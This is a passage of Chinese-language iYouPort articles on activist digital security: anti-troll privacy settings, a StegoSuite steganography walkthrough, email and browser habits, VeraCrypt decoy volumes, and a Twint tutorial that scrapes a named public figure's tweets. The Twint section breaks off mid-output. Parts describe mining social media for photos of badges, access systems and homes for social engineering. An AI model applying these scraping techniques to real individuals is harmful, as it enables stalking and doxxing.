- 同时浏览您的个人资料信息，确保您的电话号码和电子邮件设置为“仅限您自己可见”。删除您在个人资料网站上不希望被任何人看到的信息，包括精选照片什么的。这是因为常见的战术 Trolls 将会搜集你的专辑照片并将其传播到互联网上。他们会这样做，要么是为你创建一个虚假的个人资料，用于抹黑，要么就是骚扰 memes 等。
- 删除您的 Facebook 所有公开照片，并将其替换为没有您在内的通用照片，并删除您的完整生日信息（或用不准确的信息替换它）。

Twitter

- 在您的帐户设置中，请确保您已验证所有登录请求，以便标记任何试图进入您帐户的人。
- 在您的隐私和安全设置中，请确保禁用位置信息。这可以防止通过推文泄露您的位置。
- 调整照片标记，以便随机的攻击帐户无法把您标记在骚扰内容或状态中。
- 关闭“通过电子邮件/电话找到我”选项。

- 如果您担心被假冒 Antifa 帐户关注，请考虑安装像 block together 这样的应用程序。 block together 可确保您可以更安心地操作，因为他们的目标是阻止再次骚扰和传播虚假信息。您还可以使用 Troll Busters 等服务反击大规模的 trolls，其中包含可以帮助淹没滥用行为的正面消息。有关详情，请访问 http://www.troll-busters.com。

✔ 取消所有**ORPHAN**帐户。请记住，trolls 将使用他们在网上获得的任何信息来攻击您，他们会搜罗尽可能多的您拥有的账户。您长时间未使用的帐户可能会使您容易受到攻击，所以要保持安全并关闭它们。您可以访问 https://namechk.com 获取您可能忘记注册过的帐户列表。

✔ 最后，确保备份您的硬件。

很好就这样！也许你会觉得这很难记住，数字安全是一个系统，您正在创建并实施作为组织者必备的核心技能的一部分。数字安全没有灵丹妙药，它是一种意识和实践，通过不断重复及社区共同致力于保持安全而不断变得更好。

现在最好的防守是集体防守，我们要联合起来。〇

原文

AS33 使用隐写术发送秘密消息（2）简易教程 - iyouport

护盾（AS）

【2020年3月3日存档】生活在警察国家吗？政府间谍会拦截一切吗？不信任任何渠道互联网传输的私密性吗？您本人是被追踪者瞄准的目标吗？..... 喜欢有趣的反侦察游戏吗？这里介绍的方法对您来说应该有用

这不是第一次介绍隐写术。您可以在这里回顾（1）部分的内容：《隐写术的小心机（1）》。

隐写术是隐藏在数据中的数据。它使您能够将文件、消息或链接嵌入到过滤器无法检测到的图像中。

因此，您可以发送隐藏在图像或视频中的秘密消息。

隐写术一词结合了希腊语 steganos（στεγᾰνός）（意为“被遮盖或隐藏”）和graphe（γραφή）（意为“书写”）。

那么隐写术很容易吗？其实并不容易，它实际上非常复杂。但这篇文章将尽可能继续为您提供方便。

在上一篇文章中我们演示的是 Steghide，这篇文章中将使用另一个名为 StegoSuite的隐写小工具，您可以在此处下载，适合几乎所有平台。

是的，在所有平台上都可以使用，但本教程将使用 Windows 环境，该应用程序将被沙箱化。

一旦您安装了该应用程序，系统将要求您上传要用于附加机密消息的照片。

因此这样做：File/Open

应用程序周围的绿线显示，你目前正在沙盒中安全地运行此应用程序。

这里上传了一个漂亮的茅草屋顶小房子的照片；⚠请注意，隐写术的思想是：你需要试图让附加机密信息的照片尽可能地看起来不显眼，因此这张照片是比较合适的。

你可以看到一个文本区域和一个文件区域；在此演示中会输入一条小的文本消息。

干得漂亮，您可以在消息中添加自己想要的任何文件或Web链接。

接下来，我们只需要单击 “嵌入 Embed” 按钮即可将信息嵌入到图像中。

将消息嵌入图像大约需要30秒，您将看到创建的新文件的路径。这里是将 Stego 文件下载到 Downloads 文件夹中。

「图」

顺便提一句，如果您想重命名文件，则必须将其他文件上传到 StegoSuite，该软件有一点小问题，您应该意识到这一点。

好了，现在通过电子邮件将新的 Stego 图像发送给自己，以做测试。

「图」

现在去邮箱，打开那封电子邮件，并下载 Stego。

如果其他人想要打开文件并提取信息，他们还需要在自己的设备上安装 StegoSuite。

接下来就是提取机密信息 —— 通过 **StegoSuite** 打开图像，您将必须执行此操作，而不要使用默认的图像查看器打开图像。

该图像现在已加载到应用程序中，接下来只需单击 “提取 Extract”按钮即可。

要稍微花一点时间来提取数据。

你完成了！

机密信息是通过图片秘密发送的。

⚠对于任何不信任互联网传输安全性的人来说、以及任何生活在警察国家的人来说，这个方法都是很有用的。

⚠但是必须说，这是个比较常用的方法；于是，如果您已经是斯诺登那个级别的敏感人士 —— 也就是说您是重点目标、且您的对手是NSA那个级别的高明的技术专家，仅仅隐写是不够的。

因为你的对手会通过所有可用的方法盯住你的一举一动、拦截一切来自你的信息，“仅仅”发送一张照片的行为在监视者眼中会被认为“很可疑”。

于是您应该想办法让它看起来不可疑，让它特别自然。以打消监视者探寻的好奇心。

比如您可以这样，在邮件中写上：“我看中了一款打印机/车载音响（任何东西），如果你喜欢的话我会把它买下来送给你，很抱歉弄坏了你的***东西……”，等等，然后随附相关物品的照片。

撒一个小谎很简单。

这样一来，监视者拦截到的消息会显示为一封道歉信，也许就不会深入挖掘那张照片中有什么了。

请注意，不要以附件的形式发送，因为太直观可以看到图像“好重”……超过一般图像的大小是很可疑的现象。

没错，上传到社交媒体是个好主意，请附加一段再平凡不过的文字，比如感谢女朋友做了早餐等等…… 您一定知道该怎么做。

如果您想使其更加安全一些，可以使用只有您和您的朋友知道的密码选项。这样一来即便监视者打开了机密消息，他们也很难拿到内容。

就是这么简单！玩得开心。 〇

原文

最低程度的技术性获得最大幅度的安全提升：如何在敌对环境中保护自己（2） - iyouport

护盾（AS）自我保护措施-技术技巧以防身

【2020年11月3日存档】很多网络安全的因素都不在于技术，而在于使用习惯。

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：《来自人身的威胁：如何在敌对环境中保护自己（1）》。

要在无处不在的威胁中 *全面* 保卫自己是不太可能的，就算把它当成全职工作来做也不一定能100% 保障安全。

于是建议您现实一些，把焦点放在主要的威胁上。

要了解到对您不利的各种威胁和相关技术是一条漫长的路，这也是为什么分析并理解您所面临的威胁很重要。

坐下来仔细分析下您自己的情况，确定个人倾注的焦点是什么，了解您面临威胁的前因后果，它们来自哪里，如何让它们远离或是让它们变得没有那么严重，这些都很重要。

以下是一些技巧，准确说应该是原则，一些非常简单的习惯就能帮助您在很大程度上应对常见威胁。

1、极简主义

「图」

即使是专家也会觉得管理多个程序的安全维护要比少数几个程序的安全维护要困难得多。多一个程序就多一份威胁。这就是为什么我们说极简主义是一种生存智慧。

您要做的第一件事就是查看电脑和手机里的所有程序，看是否都是经常使用的？如果没有经常使用，删除它们。仔细考虑它们是否是必要的？如果不是，删除他们。

如今一部手机能很快被各种聊天软件填满，但是不一定都是真正有必要使用的，如果多半时间用不到的话，那就删除它们。这也是 一个为手机和电脑腾出空间和加快速度的加分项。

中国的应用程序往往没有强大的加密功能。中国程序收集到的用户信息不受法庭保护，而是随时可以教给政府和警方在他们需要的任何情况下浏览。

因为对加密的缺失，数据也很容易被任何人获取。

就如硅谷巨头的服务为美国间谍机构构建 “后门”，能给政府监视者一个直接的通道连接到公民的电脑和手机，甚至是在您不知情的情况下。虽然对于中国来说还没有足够的相关证据（因为没有吹哨人），但是您最好是假设中国的技术寡头也会这样做。只要一个程序，比如微信，就能造成您整个手机和电脑的安全威胁，所以，您必须非常小心。

2、零收件箱策略

「图」

邮箱面对的 **最大** 威胁可能不是被高级黑客入侵，而是，当您被拘留时，警方强迫您交出您的邮箱密码。

📌 如果被拘留，警方就有机会获取你的邮箱登录密码。就算您本人坚持不交出密码，您的同事、朋友、队友、合作者、熟人等等都有可能交出他们的密码给警方，这样你和他们之间的所有通讯记录都会被警方看到。

这就是为什么零收件箱策略能带来便利，是为您带来安全的重要工具之一。

设想在您被带走后您交出了邮箱密码，零收件箱策略就能保证里面没有任何内容可以被人看到，简单来说就是保持您的收件箱（包括其他的文件夹）为空。

📌 更重要的是，让您的队友、同事、朋友们也必须如此操作。您非

常有必要与注重安全的人交往。如果您推测对方可能不怎么擅长安全操作，那就不要通过任何互联网媒介与对方讨论重要信息。有话当面说。

3、无回复约定

「图」

无回复约定是零收件箱策略的延伸版。如果您的邮箱确实被警察或黑客登录了，他们只需要稍微等一等就能了解您的大量信息。

📌 这是因为在通信时，我们大多数人通常都是在当前的邮件下点击“回复”，而不是重新写一封。鉴于此，早前的通信内容会自动包含在同一封邮件内，通常这样来来回回的回复可以持续很长一段时间；其结果就是，一个简短的新邮件会包含了一大段更长的早期邮件内容。这非常危险。

也就是说，如果您的邮箱被控制了，控制的人只要等待有人用回复功能回复你的邮件，就能读到你们先前的所有通信内容。

📌 所以，当您用邮件回复您的队友时，请避免使用邮箱的回复功能，换句话说如果要用的话，确保删除原先的邮件文字。这样做能确保在被拘留的情况下，如果警方在查看你的邮件，一封新的邮件到来时，也只会包含尽可能少的信息，而且他们也无法仅从收到的任何使用回复功能邮件中挖到能针对你的东西。

再一次，请告知您最经常通信的朋友或队友也要这样做。

4、紧急计划

「图」

在您的同事或朋友被警方带走时、他们的电脑已经被警方没收的时候，一切都已经太迟了。也就是说，如果您等到那时候才与同事或朋友讨论如何删除敏感的材料，警察会给您扣上一个尝试销毁证据的罪名。

📌 您必须在这些情形发生之前先准备好，必须知道在事情发生之前、 之中、之后分别要怎么做。当然，也必须知道你的朋友和同事会怎么做。

您需要有一个计划。唯 一的方式就是提前与重要的伙伴讨论、协商好如果在其中某人被带走或电脑被没收的情形下您或其他人应该如何应对。是否所有人都将手机恢复出厂设置呢？还是再三确定收件箱是否为空？还是你们所有人都重设密码，将电脑格式化？……

☞ 不管你们怎么决定，最重要的是所有人都做同样的操作，并且彼此间要知道对方会怎么做。

这被称为制定并遵循 “安全协定”。如果您自己做了很多事并且处于安全状态，但是你们中有一个队友没有这样做，这就会让您的尝试和努力变得毫无意义，并且也会为其他人带来风险。

和您的队友坐下来谈论这件事，记住，如果您的工作网络包括多个团体或同事，或针对不同问题的人权工作者，他们不 一定都知道对方是什么样的人，有的人比其他人做的事更加敏感，您可以和不同的团体建立不同的紧急计划， 这一点非常重要 —— 建立一个紧急计划就是建立“安全协定”。这样每一个人都知道该怎么做，而且也很容易遵循。

📌 如您所见，这些安全措施都涉及到团队合作，也是我们一直强调的 —— 安全不是您一个人的工作；任何与您交往的人都有可能出卖您。所以，您不仅需要和同等安全意识的人合作，同时也要注重团队培训和协作技巧。

- 《直接行动的关键在于协作，但协作的能力并非天生》

接下来我们将谈论浏览器的问题。正如此前我们发布的很多安全知识中都强调过的，手机本身是不安全的东西，让手机获得足够多的安全相对较难（本系列后面的文章中会介绍相关知识），于是对于不够熟悉技术的行动者来说，非常建议您使用电脑或笔记本进行敏感操作，而非手机。

关于浏览器

「图」

当使用浏览器的时候，有两件事会发生：1、是您访问的网页会收集您的信息；2、同时电脑也会收集您使用浏览器的记录，这些信息包括Cookies、LSO虚拟数据、键入的密码、浏览器的历史记录等等。您可以在下面看到具体介绍，这些是威胁面，了解它们很重要：

- 《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》

便于运行正常，大部分的网页都用一种 JavaScript 编程，这样浏览器和电脑都很容易获取网页Bug和病毒，再通过浏览器感染整个电脑，这两个方面都需要注意。

幸运的是有办法解决这个问题，而且第一步只需要改变操作习惯就可以。

1、双浏览器策略

「图」

在极简主义的原则下可能会建议您只使用一个浏览器，并设置为在关闭时自动删除所有数据。但是这取决于您用于个人目的的浏览器使用需求量，如果在使用每个服务时都需要重新登录一次密码，操作起来会很没效率，也非常不方便。所以推荐您使用双重浏览器策略。

也就是分身 —— 切分您的日常操作和敏感重要操作。

📌 选一个浏览器用于私人的上网，再选一个用于敏感的工作。敏感工作的浏览器可以使用 Firefox，它并不是最快的浏览器，但是允许重要的安全附加组 件和扩展的设置。

不敏感的日常操作可以使用 Chrome。

双重浏览器意味着用于日常上网的浏览器您可以维持以前的上网习惯，也不用被附加组件和扩展耽搁太多时间，但是，敏感操作相关的上网习惯虽然麻烦但肯定能明显的提升您的安全性。您值得培养这一习惯。

一旦做好决定，就要持续下去。

接下来的技术性解决方案针对 Firefox，关于如何安全的使用 Firefox。

2、将文件保存到正确的位置

「图」

系统浏览器默认的下载和存储文件夹是安全的一大威胁，却少有人注意到这点。

如果没有做任何设置，您从浏览器下载的文件都会被存储在操作系统的硬盘内，要彻底删除信息是件困难的事；所以，重要的是，在使用浏览器和下载时，使用能够自己控制新文件将被存储的位置的方法。

最好的方式是在您的加密硬盘内新建一个文件夹。不过要知道，如果您将文件存储路径设置到了您的加密硬盘，要是在您的加密硬盘没有解密的情况下下载某个文件时，文件会在不通知你的情况下直接被存储到最初默认的路径位置。

关于下载的位置要记住两件事：1、总是存到同一个位置；2、要储存到您的加密硬盘。

📌 不要随意将新的文件保存到桌面。

3、网络连接

「图」

3.1 HTTP VS HTTPS

「图」

现在有很多服务都提供登录加密，但此功能在中国服务中并不那么普遍。就算有这个功能也不可靠，因为那些公司会记录下您的信息并在政府需要的时候交出去。

如果要知道您登录的网站是否有提供加密功能，通过很简单的方式就能辨别。只需要看下浏览器的地址栏就知道。

未被加密的连接在网页的开头显示 HTTP (

http://www

…)，有加密的连接显示 HTTPS (https:// www…)。通过 Firefox 中的 httpsEverywhere 浏览器就会自动使用 https 加密。

3.2 路由器

「图」

现在大部分的上网方式都是无线连接，无论是在家里、办公室还是在咖啡店。于是您需要了解一些无线路由器的基本运行原理。

进入路由器将需要用户名和密码。它们通常都被贴在路由器的背面或底部。所有的路由器几乎都是同样的，通常用户名为“admin”，密码为“password”。就算有些可能不一样，但是同一个品牌和型号的路由器都会用一样的用户名和密码，所以还是很容易找到的。

也就是说，利用这个信息，任何人都可以进入您的路由器。如果他们能进入您的路由器，也就相当于控制了您的网络， 他们可以轻易的安装程序监控你的上网日志，甚至拦截你的网络。

大部分人几乎从来不会对路由器的用户名和密码进行更改。可以通过浏览器键入路由器的IP地址（通常是192.168.0.1）进入路由器，这个IP地址也会被写在路由器盒上。通过登录路由器，您可以进行更改用户名和密码的操作。

一般来说 192.168.0.1，192.168.1.1，10.0.0.1 是最常见的IP地址可登录到路由器的管理面板。但是，如果它们中的任何一个都不起作用，可以通过这里的指南查找设备的默认路由器IP地址。

另一个需要注意的关键是，当使用无线网络时，无线网络信号需要被加密过，否则上网时传输的所有信息都可以被周围的人读取。

如果没有进行加密，任何人都可以连接并使用您的无限网络信号， 并看到这个连接下的所有上网记录。您的无线网络信号的名字就是那个您通常所连接上网的名字 （叫SSID），如果连接时要求输入密码，则表示这个信号是有加密的，如果没有密码，则表示没有加密。

一旦进入路由器后，您可以更改SSID名称，也可以选择加密网络信号。用于 Wi-Fi 路由器的标准加密通常被叫做 WPA2（WPA3）。要启动加密，您需要设置一个密码。

因此既有用户名和密码进入路由器，也有账号登入您使用的无线网络信号。它 们之间并不一样。 如果您想弄清楚具体如何在路由器中做这些更改，在搜索引擎上键入您的路由器名字和型号就会有很多步骤图能帮到您。实际比看起来要简单很多。

3.3 ISP、IP地址和MAC地址

「图」

在一些国家，一般来说使用的网络都来自国有的几个网络服务供应商（ISP）之一，您甚至在很大程度上都无法选择。这实际上带来了巨大的风险，因为在设备上所做的很多步骤都可能会因此而变得徒劳，因为向您提供网络服务的ISP也将自动记录下您在这个连接下所做的一切动作。

不同的供应商将这些信息存储的时间长短不 一，但都会储存。

当连接上网时，您家里的路由器会通过网络服务供应商（ISP）将您与更广大的网络相连接。也就是说，您家里的路由器连网时首先都要先通过ISP服务。审查也就是从这里开始的。

而您上网的足迹，无论是由ISP所掌控的您的连接，还是您访问的网站或您的电脑手机连接的服务，都是通过您的IP地址和MAC地址来追踪的。

IP地址就是您的上网连接地址，通常很容易被辨认和追踪。如果通过无线连接上网，您的IP会改变 (为动态)，但是您的ISP总会知道所使用的网路连接是与哪一个IP地址相联的。

您的电子设备也会有一个MAC地址，每一个有联网的设备都会有一个MAC地址，这个独特的MAC 地址是专门为实质的硬件生成的。一旦硬件被产出，MAC地址就会随机产生。在上网时MAC地址倒是不会被分享出去，所以不用为此伤脑筋，但是IP地址是可能对您造成问题的。

幸运的是一些非常简单的方法就可以避免被ISP监视您的上网活动，或被网站追踪您的IP地址，比如使用 VPN和TOR。

简单来说，VPN和TOR 都会避开ISP，大部分情况下也能加密您的上网行踪，对你的安全和隐私来说是必不可少的。

- 《在安卓上使用Tor》
- 《在Linux上使用Tor》
- 《在运行 Manjaro Linux 或 CentOS 的计算机上使用Tor》
- 《在网页浏览器中使用Tor》
- 《在Windows上使用Tor》
- 《注意事项：使用 Tor 保护自己时千万不要做这九件事》
- 《如何检查您的VPN连接是否实际加密》

- 《如何验证您的 VPN 连接是否安全？》

4、Firefox 浏览器和扩展程序

「图」

打开火狐浏览器，点击右上角的设置就能找到附加组件的区域 ，在扩展标签下能显示所有已安装的附加组件。

A、BetterPrivacy

通过安装这个附加组件有关闭浏览器时自动删除数据功能的选项。安装了这个组件您才能彻底的删除 LSOs —— 一种难以清除的新型 Cookie，也叫 Flash Cookie。

安装后，点击选项，选择选项&帮助列表，点选当 Firefox 退出时删除 Flash cookies，点选同时删除 Flashplayer 默认 Cookie，以及点选删除 Cookie 时同时删除空的 Cookie 文件夹。

B、HTTPS Everywhere

如上所述，这个附加组件能自动开启支持HTTPS加密。下载后能在 Firefox 的工具栏看到它的图标，点击启用就能自动运行此功能了。

C、KeyScrambler

与上面的附加组件不一样的是，这个组件不能在附加组件区域安装，而需要下载，先搜索 KeyScrambler，选择下载并像普通程序一样安装，电脑就能在重启之后运行这个程序了。

高阶的黑客能通过在您的电脑安装一个键盘记录程序，获取你键入的所有记录，包括用户名和密码。通过对登录用户名和密码按键的自动加密，这个小程序能够让您抵御此类攻击。

现在您已经完成了敏感操作所使用的浏览器保障的一半，接下来还需要在设置区域做一些简单的更改。

只需要注意几点即可：

1、点选总是询问保存文件的位置；

2、搜索建议设置为默认duckduckgo；

3、允许在隐私浏览窗口中使用跟踪保护，在历史纪录下，点选不记录历史，在 “地址栏” 的选项中确保每 一项都没有被选中；

4、在 “安全” 标签下，勾选常规下的所有选项，在 “登录信息” 那里不要选择 “主密码”，在这个页面也顺势点进已保存的登录信息内看是否有任何登录信息被保存了，如果有的话，请删掉。

5、不要使用同步功能，也不要将 Firefox 与其他的邮箱账户等绑定，不要用邮箱登入 Firefox 浏览器；

6、在 “更新” 栏下点选自动安装更新，并确保有点选自动更新搜索引擎。

高级加密（技术性解决方案）

「图」

创建一个隐藏的加密空间，需要使用 Veracrypt 或 TrueCrypt，将其下载到电脑或USB都可。**USB**会更加安全，不过需要先将USB插入电脑才能操作。

同样，总是要记得将文件直接下载到您将要安装的位置，不要下载到桌面或默认的下载位置。

与基础加密不同，当要使用隐藏加密空间时，就好比下载一个新的文件一样，需要打开 Veracypt 并加载隐藏加密硬盘，就会跳出一个看起来和普通的硬盘或USB一样的窗口，一旦使用结束后点击退出即可。

新建的加密空间叫加密卷。您一定听说过，而且网上有非常多的教程，这里就不做具体介绍了。简单说说您为什么值得这样做 —— 在敌对环境中。

防止他人进入到真正的隐藏加密空间 (内部加密卷) 的能力在英文里叫 “Plausible deniability”，也就是 “合理的推诿”，意思是通过交出外部加密卷 密码让事情合理化 —— 而实际上你并没有交出内部加密卷中真正敏感的材料，这是保障自身安全的一个关键。

请注意，要想让它真正起作用，外部加密卷就必须看起来是 “可信的”。

📌 在这里 “可信” 的意思是：在外部加密卷 (诱饵) 内的信息必须是

很明显你不会愿意分享出去的。一旦您被强迫交出加密空间密码（外部加密卷），当警方读取里面的资料时，要令他们相信那是你正在努力保护的东西。如果里面的内容为空，或只是电影音乐文件等， 警察就肯定不会上当，会继续向你施压。

所以，确保在外部加密卷内存入的是很明显的敏感文件 —— 但不是会让你坐牢的那种东西。比如，您可以存一些银行账户相关文件、一些禁书的PDF文档、同时也应该放一些工作文件，比如您写的报告之类的东西， 但是必须让警方用不到的那种。

📌 请记得每过一段时间添加一些新的文件到外部加密卷，这样会看起来您有一直在使用它。如果有更高的安全系数要求，可以多复制几个文件到外部加密卷。

总之，不要将真正的敏感文档存在那儿，这里只是作为诱饵。设立诱饵的原因是让警方远离您真正的敏感资料，一旦他们以为已经找到了所有的信息，并满意了，那他们很可能就不会再施压了。

需要不断更新外部加密卷的原因是，每个文件和文件夹都有显示这些文件最后被转移或修改的时间的数据，如果警察进入您的外部加密卷发现在过去两年内这些文档都没有被动过，那他们会意识到你并没有在使用这个硬盘，要么是一个老硬盘或圈套，这样也会再次向你施压以获取更多的信息。

📌 要建立这一套系统最简便的方式就是先将所有的工作文件移到您的内部加密卷；浏览一 遍所有文件的内容后，将一些工作相关但又不是特别敏感的、不包括人名、细节、或可能牵连他人的信息文件，存到外部加密卷。

鉴于外部加密卷应该是可信的，建议您存入类似下面这些东西：

• 密码清单，比如网上购物网站的登录密码、私人的社交媒体等等，与工作无关的个人隐私；

• 也许在过去您写过一些肉麻的情书或个人笔记，如果有，存进来；

• 也许您有与情人发过一些私密的通信、照片，存进来……

总的来说就是，外部加密卷以普通角度来说会非常安全，只有在被警方强迫打开的情况下才有威胁。 如果事态很严峻，到了他们要强迫您交出了密码的时候，就要保证您在里面存入了这些个人的信息以供警察读取。

📌 请注意，要让事情看起来可信，就不要一开始就轻易的交出外部加密卷的密码。如果被问起您还是要先拒绝，作出一副无奈的样子，推脱多次、挨一些打，再很不情愿的将 **外部加密卷密码** 交出去，否则对手可能会起疑。

如果他们相信了，真正敏感的信息就会保持安全。当然，没有人愿意让警方看到您发给情人的裸露照片之类的东西，但是与坐牢比较，您明白该怎么选择。

如果您没有上面提到的这些个人隐私类型的信息，建议现在建立几个存进去，如果有必要的话也可以PS一个。这真的意味着自由与坐牢的区别。

请注意，本系列提供的都是根据最常见的胁迫您可以采取的应对方法以及相关工具，您当然可以在此基础上更为深入地开发出创意性的方法 —— 那些我们不能说的东西（一旦公开说出，它们可能就失效了）。创造力是几乎每一种成功的关键，这需要您来完成。〇

—— 未完待续 ——

原文

观察追踪者的思考方式：挖掘推特情报的基础教程（2） - iYouPort

开源情报-每个人都可用的武器护盾（AS）让它民主-公民掌握真相的技巧和技术

我们在完美隐身中强调过：您需要尽可能了解追踪者的思路，这样才能先下手为强，实现最有效的防御

「图」

「图」

本话题的第一部分在这里：《如何从推特挖掘情报（1）：一个流行工具的具体介绍》。

开源情报研究人员、社交工程师、调查记者、黑客，都喜欢对社交媒体进行侦察。因为社交媒体情报有可能非常高效。

- 当然，社交媒体情报也非常具有侵犯性，并一直在被当权者用来抓捕公民，见《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
- 所以要强调公民的自我保护，保护方法见《社交媒体情报和反情报基本工具手册：自我人肉（2）》

社交媒体情报是完全无可避免的。也正因此，要鼓励公民掌握挖掘信息的能力 —— 让它民主化，并应用在正义的事业上。

像 Twitter 这样的网站提供了庞大的可搜索数据库，可以由数百万用户实时更新，这是一个天然的情报金矿；但是手动筛选可能非常耗时。

值得庆幸的是，像 Twint 这样的工具可以爬到很多年的 Twitter 历史数据，只需要单个终端命令就可以挖掘几乎任何信息。

尽管曾经一直以来 Twitter 由于难以搜索和解析而被开源情报社区贬

低，但仍有许多方法可以解决对于搜索和理解大量 Twitter 数据而产生的瓶颈。

视频：

把推特作为开源情报数据库

制定好的计划的关键是好的研究员。如果你不能了解情况，就很难甚至不可能设计出一个资源高效的计划。

优秀的研究人员可以采取一些基本步骤，将形成计划所需的各个部分整合在一起。

首先，研究人员提出数据可以回答或证明的问题，然后，由此确定搜索答案的最佳信息来源。

接下来，分析数据以寻找隐藏的线索或模式，并在必要时引入更多数据以全面了解目标。

最后，借助对情况事实的了解，可以将数据转换为可操作的情报，以支持决策和行动计划。

- 情报指导的是行动，信息只支持理解《情报不是简单的信息》

这就是模式 —— 定义问题、制定收集计划、收集数据、以及分析结果的过程，这也是不断完善线索以使其易于理解的过程。

Twitter 通过提供大量要搜索的结构化数据对调查任务提供补充，这些数据可以以令人难以置信的准确性切分。

您将在 Twitter 上找到的数据有哪些

对于使用开源情报能力来决定行动计划的红队来说，Twitter 等社交媒体网站可以提供其他任何地方都无法获得的信息。

您可以期望在 Twitter 上找到以下类型的信息（当然不止推特，所有社交媒体平台都有大量不注重隐私的人在不断发布敏感信息）：

- 各种包括徽章、电子设备、门禁系统等关键信息的照片；
- 被发布的电话号码和个人详细信息；
- 办公室空间和私人住宅内部的照片和视频；

- 通过主题标签连接的具有不同观点的同一事件中来自其他人的照片和视频（帮您补充不同视角的观察）；
- 关于当前可能正在调查的任何主题的主要来源陈述；
- 调查目标的闲暇时间花在哪里（概况定位）；
- 显示了其他员工身份信息的公司或办公室的照片；
- 旅行和即将发生的个人事件的记录；
- …… 等等

想象一下，你可以观看一个视频，该视频向您显示了您无法物理进入的建筑物内部，您无法触摸的系统的硬件配置，或任何潜在的社交工程目的的个人兴趣。这是有多丰厚的大礼呢。

这些细节通过揭示安全系统内的薄弱环节，极大地改变了红队的参与过程。

- 不要错过《如何自动执行情报搜集？蜘蛛脚入门指南》

使用 Twint 分割数据

尽管 Twitter 中包含的数据很有价值，但查找和处理它们也很耗时。

一条推文的发布时间，通常在一条推文是否有用、以及位置、主题和许多其他变量中，起着至关重要的作用。

为了帮助研究人员快速了解这些选项，Twint 配备了搜索过滤器，您可以通过有用的方式组合它们以显示精确的信息。

是否想知道自去年以来用户在某个目标城市附近标记的每条推文？或者，也许是所有被点赞提及了的特定主题的推文？…… 借助正确的搜索标记组合，您甚至可以搜索与目标帐户交互的所有人的信息。

尽管许多搜索工具都需要使用您的 Twitter 帐户通过 Twitter 的API发出请求，但 Twint 不需要。如此一来您就可以绕过**API**的限制，通过代理查询、以及以其他匿名方式，使自己与要研究的目标之间保持安全的距离。

Twint 能够快速生成文本和 CSV 文件以存档感兴趣的推文，因此它成为了一种很好的可服务于法医取证或调查性工作的 Twitter 工具。

对于高级用户来说 Twint 是一个Python库，可以编写脚本来执行更多自定义的或复杂的操作。

使用 Twint 编写和扩展 Twitter 搜索脚本的功能使其成为从社交媒体提取数据的简单而且强大的方法。

步骤1：安装 Twint

要开始使用 Twint，我们将下载开发人员版本。

我从 GitHub 页面尝试了几种不同的安装方法，但发现只有一种方法可以在我使用的 Linux 系统上工作。您将需要 pip 包管理器，该程序应随 Python3 一起安装。

打开一个终端窗口，然后键入以下内容以下载并安装开发者版本。

```
pip3 install --upgrade -e git+https://github.com/
twintproject/twint.git@origin/master#egg=twint
```

这样就可以安装所有需要的东西了。如果您在安装pip时遇到问题，也可以尝试使用Git。要使用 Git 进行安装，请打开一个终端窗口，然后键入以下命令。

```
git clone https://github.com/twintproject/
twint.git cd twint pip3 install -r
requirements.txt
```

步骤2：查看 Twint 的选项

安装完成后，可以在终端窗口中运行 **twint -h** 来启动 Twint，并查看可用搜索过滤器的列表。

```
sudo twint -h
```

```
usage: python3 twint [options] TWINT - An Advanced
Twitter Scraping Tool. optional arguments: -h, --
help show this help message and exit -u USERNAME,
--username USERNAME User's Tweets you want to
scrape. -s SEARCH, --search SEARCH Search for
Tweets containing this word or phrase. -g GEO, --
geo GEO Search for geocoded Tweets. --near NEAR
Near a specified city. --location Show user's
location (Experimental). -l LANG, --lang LANG
Search for Tweets in a specific language. -o
OUTPUT, --output OUTPUT Save output to a file. -es
```

ELASTICSEARCH, --elasticsearch ELASTICSEARCH Index to Elasticsearch. -t TIMEDELTA, --timedelta TIMEDELTA Time interval for every request. --year YEAR Filter Tweets before specified year. --since SINCE Filter Tweets sent since date (Example: 2017-12-27). --until UNTIL Filter Tweets sent until date (Example: 2017-12-27). --email Filter Tweets that might have email addresses --phone Filter Tweets that might have phone numbers --verified Display Tweets only from verified users (Use with -s). --csv Write as .csv file. --json Write as .json file --hashtags Output hashtags in seperate column. --userid USERID Twitter user id. --limit LIMIT Number of Tweets to pull (Increments of 20). --count Display number of Tweets scraped at the end of session. --stats Show number of replies, retweets, and likes. -db DATABASE, --database DATABASE Store Tweets in a sqlite3 database. --to TO Search Tweets to a user. --all ALL Search all Tweets associated with a user. --followers Scrape a person's followers. --following Scrape a person's follows --favorites Scrape Tweets a user has liked. --proxy-type PROXY_TYPE Socks5, HTTP, etc. --proxy-host PROXY_HOST Proxy hostname or IP. --proxy-port PROXY_PORT The port of the proxy server. --essid [ESSID] Elasticsearch Session ID, use this to differentiate scraping sessions. --userlist USERLIST Userlist from list or file. --retweets Include user's Retweets (Warning: limited). --format FORMAT Custom output format (See wiki for details). --user-full Collect all user information (Use with followers or following only). --profile-full Slow, but effective method of collecting a user's Tweets and RT. --store-pandas STORE_PANDAS Save Tweets in a DataFrame (Pandas) file. --pandas-type [PANDAS_TYPE] Specify HDF5 or Pickle (HDF5 as default) --search_name SEARCH_NAME Name for identify the search like -3dprinter stuff- only for mysql -it [INDEX_TWEETS], --index-tweets

```
[INDEX_TWEETS] Custom Elasticsearch Index name for
Tweets. -if [INDEX_FOLLOW], --index-follow
[INDEX_FOLLOW] Custom Elasticsearch Index name for
Follows. -iu [INDEX_USERS], --index-users
[INDEX_USERS] Custom Elasticsearch Index name for
Users. --debug Store information in debug logs --
resume RESUME Resume from Tweet ID. --videos
Display only Tweets with videos. --images Display
only Tweets with images. --media Display Tweets
with only images or videos. --replies Display
replies to a subject. -pc PANDAS_CLEAN, --pandas-
clean PANDAS_CLEAN Automatically clean Pandas
dataframe at every scrape. --get-replies All
replies to the tweet.
```

步骤3：抓取目标用户的最新推文

现在您已经看到了分割数据的方式，可以开始进行调查了。假设我们要跟踪目标或开始调查一个 Twitter 用户。

本指南将假扮为新聘的国税局IRS代理人，负责第一次审计。已收到某人被控逃税的文件，这次调查任务是确定如何最好地接近目标人。

第一次审核的文件上的名字为 John McAfee。快速搜索之后，可以看到他是使用 “ officialmcafee” ID 的 Twitter 用户。

首先，可以使用 **-u** 指向目标用户名，并使用 **–since** 指向当前日期，以获取有关最新推文的信息。

```
sudo twint -u officialmcafee --since 2019-2-17

1096956729768767488 2019-02-16 18:17:19 PST
「officialmcafee」 Oh yeah!! 1096947035360636928
2019-02-16 17:38:48 PST 「officialmcafee」 Yes.
Every last one. Every last one.
1096946784113516544 2019-02-16 17:37:48 PST
